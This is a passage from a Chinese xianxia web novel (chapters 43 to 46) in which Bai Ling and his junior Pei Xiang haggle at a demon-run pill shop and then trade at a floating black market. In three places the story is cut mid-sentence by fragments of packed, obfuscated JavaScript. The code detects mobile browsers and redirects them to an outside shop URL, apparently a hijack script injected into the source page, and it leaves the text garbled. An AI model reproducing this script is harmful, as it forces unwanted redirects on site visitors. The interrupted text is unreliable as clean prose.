他读的书多,什么丹方药谱,看了不知凡几。因此,小妖们呈上来的丹药,他扫一眼便知品质如何;再瞧瞧具体成分,对其功效也心里有数。 至于小妖们的溢美之词,不论讲得多天花乱坠,他都只是笑笑,偶尔应和两句,倒是反过来把小妖们哄得心花怒放,更加卖力地介绍。 看上眼的丹药,白翎皆拿到面前,渐渐摞了半人高。裴响起初还对小妖们抱有戒心,虽然直接把票折给白翎了,但仍有意提醒他,别落入小妖们花言巧语的陷阱。 不过,眼看白翎寥寥数语,要么说得小妖额头冒汗、眼神乱瞟,要么引得小妖赞叹不已、直呼内行,裴响便闭口不言,神色亦趋于平常了。 时辰似道卷翻过一页页,转眼将呈上来的丹药检阅将尽。 卖货的俩小妖口干舌燥,一个跑去喊同僚帮忙、快点拿更多货来,另一个哑着嗓子跟白翎磋商,手舞足蹈。 倒茶小妖见上司口渴,给它斟茶。然而药茶进嘴时燥烈,说个不停的小妖才喝一口就喷了,一巴掌将下属扇飞。 白翎不知这是否属于它们企业的“狼性文化”,制止不及,幸好看倒茶小妖飞快地爬起来,估计是个抗揍的种族。 不过他动了动喉咙,也觉出渴了。 倒茶小妖被上司殴打后,抱着茶壶跑没了影儿,其背影充斥着“此处不留爷,自有留爷处”。正当白翎犹豫时,另一尊茶盏被推到他手边。 裴响道:“我只抿了一点。若你不介意……别喝到黑蛟那边。” 白翎讶然,见茶杯上描画着黑蛟吞日的釉彩,心下了然,笑道:“谢谢你咯,师兄会注意的。” 新的货物迅速补上,去补货的小妖跑回来接班,把呼哧喘气的这个换下去。白翎捧起裴响的茶杯喝,听身边人问:“不休息一会儿么?” “它们的噱头多,但是丹药挺好的,黑市开场前,我多挑些。”白翎顺手拍拍师弟的膝盖,以为他坐得倦了,道,“你可以自己出去转转,玩够了再回来。听说好玩的地方很多,什么乐坊啊戏园啊,和我们那边是不同的风味。你别迷路就行。” 他说罢继续观察丹药,不过等了一会儿,身边人纹丝未动。 白翎侧头道:“怎么了阿响,不想去?很好玩的,徐师弟他们肯定去了。” 裴响道:“……以后再去。” “你说不定能碰上他们呢,也有个伴。” “我不想和他们一起。” “好吧。”白翎只当他是孤僻,闻言笑道,“那你只能待在这陪我了,什么都干不了。说真的,你又不懂丹药,不觉得无聊吗?” 裴响问:“你觉得有趣?” “啊?谁会觉得这些东西有意思啊,我都快看花眼了……”白翎拈起一枚灵丹细看,又放回去,连盒子一同拿到手边,小妖立即帮他摞到准备买走的那一堆顶上。 裴响沉默片刻,说:“我不觉得无聊。” 43.四十三、办卡 少年人的声音很轻,像是在回答白翎,又像在说给自己听。 柜台上放着三枚月亮摆件,大概是魔域的更漏。此时已有一枚月亮闭上眼,待两枚阖目,黑市便要开场了。 白翎集中精神,继续审阅灵丹。 “老君鼎”的高端存货全被他拣了一遍,手边的盒子已经堆得有小山之高。 两个推销小妖早就累得现了原型,竟然是两只松鼠,瘫在地上抽搐。其他小妖们也顾不得维系人形了,忙着忙着、身子越缩越小,耳朵尾巴冒出来,最后“砰”地变成兔子、麻雀、甚至跳来跳去的青蛙。 此时已到了生意的决胜关头,双方议价。白翎把瑶池鼎取出来,诸葛悟跟器灵打过招呼,请它照看两位师弟。 议价成功的丹药,便由器灵吞云吐雾、纳入腹内;议价不成的,白翎从不讨价还价,直接换下一颗。如此一来,不成的也多半成了,只是拨算盘的小妖冷汗涔涔,几欲昏厥。 终于,摞起来的小山即将清空。所有的打杂小妖都被喊来了大厅,一个个头顶抹布,腰系围裙,吹哨的吹哨,敲锣的敲锣,还有爬到柜台上挥舞小旗子助兴的。 待最后一瓶灵丹被瑶池鼎吞进肚子,全场小妖把手里东西一扔,兴高采烈地欢呼起来。 白翎被它们洋洋的喜气感染,为表庆祝,将剩下的药茶一饮而尽。不过,他时不时把茶盏放下又拿起,不知不觉间,已令其囫囵转了半圈。 最后举杯的时候,裴响眼看他对着黑蛟花纹,双目一睁。 然而不等裴响出言提醒,白翎的唇已经结结实实地印了上去。 裴响:“……” 白翎起身抻了个懒腰,见旁边的师弟不知为何,两眼紧闭,以为他在闭目养神,道:“阿响?走啦。” 裴响浅浅吐出一口气,扫他一眼站起身。白翎敏锐地察觉,师弟的眼神微含怨念,但不是冲着他的,而是冲着桌上的茶杯的。 茶杯有什么问题? 白翎拿起来看,倏地想起什么,“哎呀”一声。 裴响垂下眼,仿佛在说现在想起来也晚了。不过他明白,白翎一直脑袋灵光,肯定是因为选了一下午丹药,才致昏头。 因此,裴响开口道:“无妨……” “这是什么茶啊?你们有卖吗?”白翎向小妖们举起茶杯,好奇地问。 裴响立即死死地抿住了嘴巴。 瘫倒在地的松鼠们听见他还要买东西,一跃而起,去柜台后拖出一袋沉甸甸的草药,叫道:“铁齿铜牙啊客官!三寸不烂之舌!您是头一个喜欢咱们茶水的,蕃荷菜泡茶谁喝谁知道!咱们采的蕃荷菜长在海市水下,天天挨雷劈,别有一番风味。您是大客户,这些都送您啦!” 白翎捏起草药一看,原来是薄荷,经历过雷电的淬炼,每片叶子上都生长着淡红色的雷纹,和人触电后的伤痕一般。 他笑道:“谢咯。” 白翎打开芥子袋,眼角余光扫过师弟。不知为何,裴响脸冷冷的,好像白翎刚犯了天条。 白翎眨眨眼,问:“阿响不喜欢?” 世家公子看不上路边店的怪味药茶,也正常。 裴响却一字一顿地说:“喜欢得很。” “哦……”白翎摸不着头脑,但小师弟既然喜欢,他就笑纳这满满一袋子雷劈蕃荷菜了。 见客人们即将离开,两只松鼠赶忙道:“客官还会在秘境待一阵子不?不如试试咱们老君鼎新推出的‘药房票折’,优惠很大哦!” 白翎道:“说来听听?” 小妖立即介绍:“是方便客官及时用药的东西啦。只要存一点点钱,不论您在秘境的何地何时、想要什么功效的仙丹,咱们都能为您私人定制,送货到手哒!” 白翎一边拉上师弟的袖口往外走,一边问:“那一点点钱是多少?” “嘿嘿……这个数。”两只小妖都向他张开双手,展示五指。 白翎扬眉道:“五百两?” 小妖说:“四个五加起来,是二十喔!” 白翎:“二十两啊?” “当然不是!客官好坏!要二千两啦——” 白翎摆手便走,大步流星。小妖们慌了,追着他降价:“您买了太多丹药,可能用不上票折,一千八也行的!” 白翎哼道:“说五百就是五百。” “五百会死的呀,一千五还差不多——” “你们降价痛快,看来放水空间很大嘛。我宠你们一下好了,五百五不能更多了哟。”白翎两眼弯弯,已经快走出门了。 小妖们急得蹬腿,说:“一千,一千真的是底价了……” 白翎顺口画饼:“我吃完手头的灵丹再来开卡,拜拜拜拜。” 小妖大叫一声:“八百!” 白翎终于回身,温柔地说:“一口价,六百六十六。六六六是个吉利数字,我喜欢。” 小妖们一把鼻涕一把泪地接过银钱,奉上刻有“老君鼎”篆字的铭牌。 饶是它们演技精良,依然被白翎发现了破绽:两只小妖屁股后面的尾巴没收好,摇得快上天。 看来最后还是被宰了一把。据推销小妖所说,白翎需要丹药时,对着票折发号施令即可,它们有专门收听顾客需求的同僚。但白翎今日选购的灵丹,足有上千枚之多,裴响猴年马月才能吃完? 思及此,白翎双手抱头,当街发出“啊啊啊”的大叫。 裴响跟在他身后,面无表情道:“权当给你买茶了。” 两人已踏上归途,街上行人渐多。白翎闻言说:“真的假的?六百六十六两耶,买茶也好亏!” “吃进去的总要吐出来,没有人只进不出。买其余丹药时,你议的价很好。”裴响声音淡淡的,少顷又问,“为何是六百六十六两?取六六大顺的意思么。” “这个嘛……哎呀,在我老家那边,‘六’的意思是很强,很帅,‘六六六’就是太强了太帅了。”白翎略一思索,道,“比如徐师弟御剑冲浪,我会说‘六’,但他要是掀起潮头把林真人从头淋到脚,我只能说‘六六六’,敬他十八年后又是一条好汉。” 裴响蹙眉道:“所以是带有取笑意味的自叹不如?” “对!”白翎的心情忽然好转了。他以前也常说“怪话”,但诸葛悟太过于随他性子,从不问他是什么意思。 裴响是第一个追根溯源的人。白翎笑盈盈地问:“阿响还想知道什么?” 裴响迟疑道:“冲浪?” “啊,字面意思就是踩着海浪前进嘛。这事儿很危险,不过能御剑冲浪的话,简直是剑修的人生巅峰时刻啊。”白翎心下怅然——其实冲浪还有一重引申义,可惜在没有互联网的修真界,他告诉裴响也没用。 然而小师弟被他口中的极限运动引起了兴趣,道:“有空试试。” 白翎忙说:“别!千万别,这个整不好要出大事,你想干也别说是我教你干的。我可不想你变成海底妖兽的美味下午茶。” 裴响举一反三,道:“下午茶,是专门在午后进用的茶点?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233530|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没错!嘶,今天下午聊那么久,居然忘了买东西吃。”白翎说着便开始左看右瞧,相中了一家路边摊。铁板上烤着五花八门的食材,滋滋冒油,摊主洒下一把辣子,辛香扑鼻。 白翎立即转身,双手握在胸前,从下往上望着裴响,双眼亮晶晶的。 裴响被他盯得一愣,道:“反、反正票折已经给你了,你想买什么,自己买便是!何必一副求我的样子。” 他话音未落,白翎已经满心欢喜地扑到路边摊跟前,点了好几样儿。摊主头回见一袭白衣、仙气飘飘的“女修”光临,拍着胸脯打包票,一定给他烤得色香味俱全。 不料,正当白翎与摊主笑哈哈的时候,远处突然一声爆响。 “轰隆”剧震,整条街的路面都抖了一抖。摊主连忙稳住灶台,白翎则面色微凝,看向他们刚刚离开的“老君鼎”。 坐镇药房的丹炉不知怎的,向左侧倾斜,仿佛被削断了一条支架。旋即有剑气破空声爆发,浓烟滚滚,药炉的顶部冒起了黑烟。 摊主嘀咕道:“奇了怪了,小妖鼎的炉子炸了?” “小妖鼎?”白翎疑惑地回头。 摊主笑着说:“客官莫非信了它们的幌子,真以为是丹士医修开的店啊?不不不,抓药炼丹的是群妖精。什么药王之类的,根本不存在,每天在店门口咋咋呼呼的俩家伙,就是它家老板。咱们做邻居的才晓得内情,看在丹药不错的份上,不与它们计较罢了。” 白翎与裴响对视一眼,当即返回。 摊主懵了,举起烤到一半的河鲜道:“客官?客官!” 空中飞来一物,恰好让摊主接住。是那名黑衣的魔修公子掷来的,沉甸甸颇有分量。 摊主打开掌心一看,居然是数两碎银,大喜过望,立即擦了擦手、熄灭灶火,招呼左邻右舍去看热闹。 刚回到“老君鼎”门前,白翎便闻到一股呛鼻的烟味。 他连打了几个喷嚏,掩着口鼻往里走。激昂的呵斥声从后院传来,是药炉坍塌的方向。 忽然,白翎不知被什么东西绊了一下。他低头一看,是一杆细长的茶壶嘴。 门廊的柱子后面,露出一对毛茸茸的大耳朵。白翎松了口气,道:“是你?怎么躲在这儿。” 跑掉的倒茶小妖看见他们,眼泪汪汪地牵住白翎衣角。原来它并非一去不回,而是藏在门廊下,等着老板们消气之后,过来找它。 白翎莫名想起了以前裴响赌气的做法,和小妖如出一辙。他蹲下身问:“发生什么事了,有什么人进去过?” 倒茶小妖发出咿咿呀呀的声音,还没学会人话。但是看它的脸色和比划的手势,似乎有极厉害的人,正在找老板的麻烦。 白翎替小妖抹了一把眼泪,径直走向大厅。只见喝茶的雅座被掀翻,墙上的橱柜也乱七八糟,掉出好些药草。几个身上挂彩的小妖趴在地上,心疼地收拾残局。 通往后院的门虚掩着,一道刻薄的嗓音正在叫骂:“昨日刚花三千两买的票折,今日便用不了了!我师兄身负重伤,急需用药,药呢?!要我们买票折时说得好听,什么灵丹妙药应有尽有,现在说全卖完了——糊弄谁啊!还有你们那茶水我都不想说,喝一口简直折寿,却连茶也不倒了!……你说什么?茶叶全送了别人?骗鬼吧死妖精,魔域果然是烂透的地方,尽养着你们这帮谎话连篇的守财奴!” 叫骂之人说至激动处,挥动仙剑,甩出一道剑意。 白翎及时侧身,仍被削去了一角幕篱的垂纱。 44.四十四、驾鹤 裴响眉峰微蹙,走到白翎身前,将虚掩的门扉推开。 此时“老君鼎”后院,一片狼藉。巨大的丹炉倒向一侧,压坏了灶火,半成品丹药滚落一地,接触焦炭后,时不时炸裂,火星四溅。 两个道修堵在丹炉前方,手持出鞘的仙剑。刚才大声叱骂的是一名仙姑,面上法令纹极深。跟着她的男修虎背熊腰,一脸阴沉。 他们穿着统一纹饰的道服,胸前一轮银蓝色圆盘,不像云间月,更像水上镜。两人都来势汹汹,显然不是什么善类。 至于推销小妖——或者说“老君鼎”的两个老板,被吓得抱作一团,缩在角落。他们身后,还挤着好些伙计,个个像鸵鸟般扎着脑袋。 仙姑瞧见门口来人,话头一顿。 走在前面的黑衣公子貌若画就,鬓边一缕霜发,背后仙剑如冰,衬着他通身清贵之气。另一人自他身后缓缓步出,纤细人影看不真切,只见幕篱垂纱,一袭雪色,隐约含笑而立。 观其外表,二者皆是年轻魔修。但他们周身的气度不凡,魔气亦高深莫测、无从感应,院内一时安静。 有外人在场,仙姑自持身份,将剑还鞘。 妖怪不论在人界还是魔域,皆是底层生灵,它们绝大多数短命又弱小,只能在夹缝中苟且偷生。因此,不论是道修还是魔修,铲除恶妖便算了,对良妖兵刃相向,总有恃强凌弱之嫌。 仙姑已经大搞一通破坏,出够了气,倒是懂得见好就收。她扯上同行的大个子男修,冲小妖道:“今日算你们走运,黑市快开场了,暂且放你们一马。贤侄,我们走!” 姑侄俩扬长而去,临行前,皆以质疑的眼神审视了白翎裴响一番。仙姑出了后院,唾骂声却一路未绝。 “魔域的奸商,坑蒙拐骗,迟早遭报应!就不该信妖精的话,尽是偷奸耍滑之辈。” “今日砸了这黑店,免得其他仙友受害。要不是师兄宽宏大度,我是断断容忍不得的!” “三千两真是喂了狗,若不速速奉上灵丹,以后我见它们一次,打它们一次……” 骂声去到大门口,两名道修撞上看热闹的魔域居民们,迸出一句尖利的喝问:“看什么看!” 居民作鸟兽散。仙姑大概也挂不住脸,御剑飞走。世界终于清静了。 小妖们如蒙大赦,奔到白翎脚边,扒着他不放。白翎感受到它们抖个不停,逐个脑袋揉过去,问:“怎么回事啊,那俩家伙是谁?” 两只松鼠老板的大尾巴耷拉着,其中一个答道:“他们是之前买过票折的客人……客官您把好货买光了,刚巧他们找上门来,问了几种仙丹都一枚不剩,便一口咬定我们是骗子……” 另一个也说:“我们退钱,他们不干,赔钱也不要,非得立刻拿到仙丹。我们起炉烧火、现场开炼,可是他们嫌慢,最后把炉子砸了!唉。” 道修来魔域,常因不信任商家,发生冲突。按理说有辖司主持公道,但那位仙姑显然不喜妖物,只想撒气,又急着赶赴黑市,所以搞完破坏之后,勒令小妖们加班加点、把她所需的丹药炼好,便耀武扬威地离开了。 毕竟她惹的是一群小妖,即便它们告上辖司,辖司也不会像对待魔修那样关照它们,多半会让“老君鼎”停业整改。 白翎本想问仙姑要什么丹药,他先拿出来让小妖们渡过难关,小妖们事后补给他就行。 没想到,小妖们似乎习惯了被找茬,擦干眼泪之后,立即开始热火朝天地重建丹炉。 老板小妖在发号施令的间隙,甚至向白翎和裴响拍胸脯保证,没有任何人可以击溃“老君鼎”。终有一日,它们一定会成为全修真界最好的药房。 一阵悠长的钟声自飞宫中心传来,仿佛由九天苍雷撞响。 白翎一拍脑袋,连忙拉起师弟,转身往外跑去。 不料,他们刚出大门,迎面碰上了林暗一行人。 徐师弟脱口而出:“白仙长,你们在这!黑市已经开场了,咱们快走吧。我们回山庄发现你们没回,一路问过来的。你们刚才有撞上什么人吗?” 众人汇合,白翎道:“被两个怪人耽搁了。抱歉抱歉,我们边走边说。” 徐师弟问:“那两个怪人,是不是一个嘴巴不饶人的仙姑、和一个人高马大但很呆的男修?” 白翎奇道:“你们认识?” 徐师弟大叫一声:“岂止认识,简直不是冤家不聚头呀!” 林暗提醒道:“注意言辞。徐郎,你向两位师弟介绍前情罢。等到了黑市,我们或许还会碰上那两人。” 此时三轮月盘当空,已有两轮寂灭,黯淡作深红色的残影。 街上行人全部朝同一个方向赶,前往飞宫中心,华灯初上的海市。 道场诸人混在人潮里,谈话声被嘈杂掩盖。徐师弟放心大胆地说:“白仙长,你俩听说过问镜一脉吗?” 白翎道:“有点印象,可能嘲讽过我。” 徐师弟:“……” 徐师弟干笑道:“他们家干出这种事也不奇怪……我们驾鹤一脉的最讨厌他们了。那你还记不记得,我们插在鹤车上的旗子?” “记得,好像绣了条蛇对吧。”白翎记性好,想起在裴府门外初遇林暗等人时,确实瞧见了他们的旗帜,绣着白花螣蛇。 白翎立即意识到了奇怪的地方,问:“你们叫驾鹤一脉,衣服上也是鹤,连驾车的都是鹤,为什么旗子上绣的是蛇?” 田师妹答道:“因为我们的师尊驾鹤道君,她的真身正是腾蛇!她爹,也是我们家的祖师爷,同样是一条白花螣蛇。” 白翎问:“那么鹤是……” “问镜一脉的二代道君!他的真身是仙鹤。那家伙本来拜在我家门下,与咱师尊是师兄妹。孰料他是个不忠不义的,半路出家,跑去了问镜一脉,现在还给他当上掌门了。”田师妹气冲冲地说,“所以我们讨厌问镜一脉,他家上梁不正下梁歪!” 白翎眉梢一扬,颇觉好笑地问:“你们师尊取道号叫‘驾鹤’,也是因为这个缘故?” 徐师弟说:“当然,‘驾鹤’是把她的无耻师兄踩在脚下的意思。” 白翎:“……” 白翎纳闷道:“你们就没有一个人提醒过她,‘驾鹤西去’很不吉利吗?” 半晌无人说话,直到林暗轻咳一声,回答:“她取道号的时候,我们都没有出生。” 白翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244742|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“她爹总出生了吧!” 林暗皮笑肉不笑,说:“祖师爷认为,师尊的道号非常响亮,很有志气,她一定能干倒叛出师门的忘恩负义之徒。我们本来尊崇祖师爷的道号,该称‘扶山一脉’,但他临终前,令我等为师尊扬名,遂改称‘驾鹤一脉’。” 白翎彻底沉默了。 他的目光在小辈们脸上游走,每看到一个人,被看的家伙便望天望地,不与他视线相接。显然,林暗说的话,他们自己都无法信服。 白翎最后看向裴响,面带忧伤地问:“师弟以后不会也用道号拿我开涮吧?做师兄好危险哦。” 裴响:“……” 裴响毫无表情地瞥他一眼,仿佛在说,他要是现在能取道号、现在就拿白翎开涮了。 白翎摸了摸鼻子,心虚地转了回去:“你们的招式也和仙鹤脱不开干系,莫非都是那位的遗作……” “‘遗作’这个词,妙啊!”徐师弟长叹一声,道,“总之你们碰上的两人,是问镜一脉的三代弟子。他俩在凡家是姑侄,在仙家是师姐弟,和我们不对付很久了。听说他们大师兄在秘境受伤,急需灵丹妙药治疗,咱在黑市看上什么丹药的话,一定要及时下手,免得被他们截胡。” 白翎点点头,谈话间,几人已来到蜃楼的边缘。再往前,竟然是一片汪洋。所谓“海市”,原来不止取海市蜃楼之意,而是真正的水上市集。 银月悬天,瀑布飞流直下,汇聚在飞宫的内环,形成一望无际的河面。深紫色的河水慢慢上涨,水底藻荇舞动,似鬼魅,也似万千柔荑。 雷光千道,穿过中央的空洞,即刻映亮云潮。不息的闪电与雷鸣造就细雨,年年无休地笼罩着海市,将一切景象打湿到模糊。 裴响取出一柄油纸伞,撑开在他和白翎的头顶。 尹真扶了扶斗笠,习惯了风里来雨里去。林暗则因修为境界,雨水沾衣不湿,如触琉璃。小辈们皆与裴响一样,打起各自的伞来。 白翎斜拉幕篱,如此和师弟靠得近些,两人都不会被淋湿。他们站在烟雨蒙蒙、雷声隐隐的码头,不多时,一叶扁舟自大雾中显形,停靠在他们身前。 没有船夫,只有一条空荡荡的小船。 尹真率先踏了上去,据于船头,其余人鱼贯而上。白翎和裴响在船尾相对而坐,略显拥挤。师弟岔开双腿,白翎不得不并拢双膝,置于他腿间,与他身影交错。 幸好裴响的油纸伞足够宽阔,依然挡着飘飞的雨丝。白翎一动膝盖,便会碰到裴响,距离实在暧昧,他又想笑了,道:“阿响……” 裴响抬起眼睫盯着他,只道:“船翻了一起喂鱼。” 白翎:“哦。” 师弟还是不解风情的师弟,但是会反过来拿话压白翎了,没有之前调戏起来好玩。白翎略一挑眉,双手挑起幕篱的垂纱,静观远处。 凄迷的河面上,浮现一团扑朔的火光。离得远时,如同鬼火,渐渐近了,才显出暖色,透露生机。 驾鹤一脉的小辈们无不屏息凝神,不知是何物靠近。 白翎也全神贯注,没留意自己还撩着薄纱。直到裴响将纱尾轻轻一按,掩去他在雨中愈显皎洁的面容。 45.四十五、游船 雾失楼台,月迷津渡。 渐近的火光也是行船,船上空无一人,唯有船头点着一盏烛灯。 “嗤”的一声,尹真擦亮火折子。相同的烛台亮起来了,无需为其遮风避雨,柔和的烛光似水蔓延。 白翎心下了然,两叶相逢的轻舟上,皆有乘客。只是船身设下迷障,除了同行之人,大家谁也看不见。 如此一来,买方与卖方的身份天不知、地不晓,绝对隐秘。白翎稍微理解了道修们顶着生命危险前来交易的原因,但内心深处,犹有疑虑。 只是能掩藏身份而已,至于如此冒险吗? 要他细数其中好处,白翎也能说出一长串:散修可以放心地转卖赃物、不怕被报复;世家显贵来买见不得人的东西、不会走漏风声;甚至道统与魔门两边的人互有所需,在此交易无后顾之忧…… 不过白翎心底总有微澜,觉着事情没有表面上简单。 两船相依,短暂地停在水面。 “哗啦啦”响动,对面船上抛下数样法宝。奇异的是,法宝没有沉入水中,而是在河面上飘着,向白翎他们展示。 细雨融入长河,打碎作粼粼波光。冷月寒芒映照,法宝的每一丝裂痕、每一点血迹,纤毫毕现。 白翎瞧见一副耳珰,凑到裴响跟前说小话:“能穿体的法宝诶,基本都认了主人精血,是有命契的。被拿来卖,估计是杀人夺宝的战利品吧。” 裴响道:“如此岂不是沾染了因果。” 白翎托着下巴说:“是啊,你想买吗?” 修真界的至高存在,是为天道。天谴雷亟,令修士渡劫,此乃天意。 而所受雷劫的道数,与修士命里的因果有关。所谓善恶有报、天道轮回,正是指修士们行善积德、作恶造孽,最终应在雷劫上。 因此,修真界才没有走向丛林野兽一般、纯粹弱肉强食的血路。像此时漂在水上的耳珰,染血凶物,背负的因果最重。若非足够命硬、或者爱跟老天叫嚣的恶徒,基本是无人敢于接手的。 驾鹤一脉的小辈们怀疑对面船卖的东西都来路不正,没一个掏钱。不料,尹真相中了一枚翡翠珏,将袍袖一挥,撒出叮叮当当的闪光物事。 他也摆出了几件法器,稳稳当当地漂在水上。 霎时间,河面竟开始倾斜。白翎忙扶住船舷,他们所乘的小舟向下沉去,须臾停住,对面的船则稍稍浮起,被涌起的河水托高了些。 双方像坐了跷跷板,确切地说,是摆在了杆秤两边。显然,尹真给出的物资价值更高。 对方爽快地拿起烛台,轻敲一下。尹真亦如此为之,河面恢复平静,双方交换商品。 徐师弟问:“要买就得全买啊?不能单买一样?” 尹真说:“嗯,捆绑着卖,东西流动得快。” 所以他曾在霁青商行大量收购丹药,来者不拒,眼下权当零钱,打包出手。对方没有抛售新的货物,两条船停驻片刻,错身而过。 白翎面露了然,提出另一个问题:“尹兄不怕背负他人的因果吗?你买的东西,好像都不太……嗯,安定。” 尹真勾起嘴角,道:“这就是来黑市的好处了。” 白翎道:“此话怎讲?” 林暗微笑着接过了话头:“你们看见远方的天雷了吧?此间流水,尽被雷霆洗过。雷电是天道意旨,世间唯一能清算因果之物。所以在此交易,不问旧事,宝物到手,前尘皆销。” 驾鹤一脉的师弟师妹们恍然大悟,道:“买什么都不会遭报应吗!” “这种好地方怎么只有魔域有?” “祖宗保佑,我要买一把新剑……剑胆也成!”说这话的是徐师弟。在过大姑河的时候,他的仙剑被蚌精嚼个稀巴烂,之后一直缺趁手的武器。 白翎亦扬眉道:“相当于提前应了天劫,把天道糊弄过去?” 林暗说:“大致如此。毕竟世间万物,从无绝对,纵然是天道,亦留有可乘之机。” 这下白翎彻底明白了,为何全修真界对黑市趋之若鹜。能在天道眼皮子底下瞒天过海,怪不得道修们冒死深入魔窟。 船只静静飘着,细如愁思的雨幕中,冷紫色的长河弥漫幽蓝水雾,偶有电光扰乱月华,刹那间映亮水下。 不知名的植株在河底生长,浓郁的暗绿色藻叶间,怒放着猩红花簇,像凝固在烟波里一般,仅在雷鸣后短暂地披露真容。 许久没有船来,白翎不知不觉间,伏在船舷上,望着河里时隐时现的花出神。他沉浸在凄艳的奇景里,有幕篱遮挡,淋了点雨,浑然不觉。 上方的油纸伞却稍微倾斜了。 雨声混合着人言,近在耳畔。驾鹤一脉的小辈们起了争执,叽喳个不停。 林暗不知从哪端出了一杯热茶品着,完全没有劝架的意思。至于尹真,正在清点他的芥子袋。 小小一条船上,大伙儿促膝而坐,无人注意船尾,有师兄弟二人鲜见地和平共处。 少顷,又一盏烛火在斜风细雨间靠近。 白翎没忍住手,轻轻碰了下河面,结果被电得一激灵。他倏地坐直身子,微微打摆,裴响一看便知是怎么回事,没好气道:“师兄莫不是童心未泯……” 白翎抓住他的手,非得给他也体会一下被电的滋味。 裴响眼睫轻颤,硬是忍住了闷哼,片刻才道:“你幼不幼稚。” 白翎干坏事得逞,怕他把自己推下船,牢牢攥着师弟的手腕,道:“错过这个村,没有这个店了阿响!抓住机会预习渡劫的感觉啊。来来来,你们几个,都试试水!” 白翎笑眯眯的,招呼驾鹤一脉的小辈们。 他们不疑白翎,听见什么“渡劫的感觉”,纷纷伸手去摸河面,下一刻被电得小船乱晃,五个年轻人东倒西歪。 尹真正在跟对面船的讲价,差点被颠进水里,转头斥道:“干什么呢!” 林暗无奈地说:“身在魔域,能不能保留一点道修的尊严……” 白翎问:“林真人头回来的时候,没摸过水?” 林暗不说话了,优雅地抿了口茶。 然而小辈们被电了一次,还跃跃欲试,尤其在发现自己刚触电后、立即摸身边人的话,可以把电导过去,马上开始为刚才的争执快意恩仇。 不一会儿,“看电!”“接招”之声此起彼伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252812|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。有两个师弟口吐白沫,屡败屡战,愈战愈勇。 白翎笑得直不起腰,幕篱的边沿磕到了裴响下颔。他连忙退后,同时松开了裴响的手。 白翎道:“没事吧阿响,弄痛你了么?有没有什么想买的东西,记得看着啊。” 裴响默然不语,只是把手收回了身侧,片刻后,蜷起五指。 白翎则掏出了一样很久没用过的法宝——益善盂,是他以前拿去接灵泉的家伙事。 益善盂其实有仙级品质,和瑶池鼎类似,专门温养宝物。不过,瑶池鼎只能装有形之物,益善盂只能盛无形之水,两者各有所长。 白翎小心翼翼地端着益善盂,去舀河水。里面的灵泉早就消耗完了,无需白翎费劲,盂口便开始源源不断地牛饮。 小辈们发现他的所作所为,凑上来问:“白仙长,你在干什么?” 白翎道:“既然洗清因果的,是被雷劈过的水,我当然能带多少、带多少,装回道场赚大钱咯。” 小辈们目瞪口呆,连尹真都沉默片刻,由衷赞道:“好思路!” 他二话不说,赶走还在讨价还价的对面小船,翻出容纳奇物的法宝,也盛起河水来。 修真界无数洞天福地,鬼斧神工造就,引得修士们前赴后继。不过,大家多半只想着“我去就山”,极少人像白翎一样,偏要“山来就我”。 这地方好?挖一块“这地方”走! 白翎倚在船尾,用两根指头勾着益善盂的沿儿,优哉游哉。若有新的小舟停靠,他依然会瞥一眼对方卖的东西,看有没有什么沧海遗珠、能加入师弟的储备粮。 不过,丹药本就是在众人手头流转的玩意儿,因果牵绊不深,很少有人专程带来黑市买卖。他瞧来瞧去,所见之物皆与“老君鼎”出炉的相差无几,还捆绑着其他法器出售,实在麻烦。 众人在河上漂流,唯有尹真忙个不停。 林暗相中了一面照妖宝鉴,拿了几则不合适的功法去换。 小辈们亦各有所得,兴奋不已。除了徐师弟,始终没买到合适的剑或剑胆,要么品质不行,要么抬价过高,急得他捶胸顿足。 高空的三轮月盘皆黯淡,若在人界,已是子夜了。 驾鹤一脉对弟子的起居颇有要求,小辈们作息规律,一阵连天的哈欠后,困意弥漫。不消片刻,轻重缓急不一的呼噜声响起,林暗挥手把师弟师妹们收进广袖。 河上的行舟渐少,多数人已满载而归。 尹真看了眼林暗,见女修开始静坐,知道她无意继续游船。尹真便将视线越过林暗,投在船尾。 黯淡的月影下,黑衣的少年仍背影笔直,一手撑伞。 不过他的师兄与之恰恰相反,此时睡没睡相,整个人窝在了船尾的地上,双臂搭在师弟膝头,侧着脑袋枕在上面,好梦正酣。 白翎的幕篱早就掉了,被裴响捡起来,盖住他的肩背。这位入门不久的小师弟大概是忘了,筑基期修士再埋汰,也不至于风吹雨淋便着凉。 尹真看在眼里,摇了摇头。 他呼出一口气,吹灭了船头烛火。小船融入夜色,载着满船清梦,缓缓地漂回岸边。 46.四十六、绮梦 翌日晌午,白翎在客栈的拔步床上醒来。 